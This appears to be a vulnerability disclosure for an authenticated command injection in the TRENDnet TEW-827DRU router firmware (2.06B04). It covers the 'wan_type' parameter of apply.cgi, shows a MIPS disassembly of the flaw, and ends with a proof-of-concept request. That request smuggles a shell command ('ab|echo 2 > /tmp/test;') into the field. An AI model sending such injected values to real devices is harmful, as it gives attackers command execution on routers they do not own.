TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains multiple
command injections in apply.cgi via the action st_dev_rconnect with the key
"wan_type", allowing an authenticated user to run arbitrary commands on the
device.
```

Detial

```
The bug in function: 0x42C30C, binary: www/cgi/ssi
The parameter 'wan_type' pass to system
```

```
0042C348                addiu   $a0, $v0, (aWanType - 0x4C0000)  # "wan_type"
0042C34C                la      $v0, getenv
0042C350                nop
0042C354                move    $t9, $v0
0042C358                jalr    $t9 ; getenv
0042C35C                nop
0042C360                lw      $gp, 0xA8+var_98($fp)
0042C364                addiu   $v1, $fp, 0xA8+var_90
0042C368                move    $a0, $v1          # s
0042C36C                move    $a1, $s0          # format
0042C370                move    $a2, $v0
0042C374                la      $v0, sprintf
0042C378                nop
0042C37C                move    $t9, $v0
0042C380                jalr    $t9 ; sprintf
0042C384                nop
0042C388                lw      $gp, 0xA8+var_98($fp)
0042C38C                addiu   $v0, $fp, 0xA8+var_90
0042C390                move    $a0, $v0          # command
0042C394                la      $v0, system
0042C398                nop
0042C39C                move    $t9, $v0
0042C3A0                jalr    $t9 ; system
```

Send Packege

```
    command = 'ab|echo 2 > /tmp/test;'
    scommand = bytes(command, 'utf8')
    data4 = {
        b'action': b'st_dev_rconnect',
        b'wan_type': scommand,
    }
```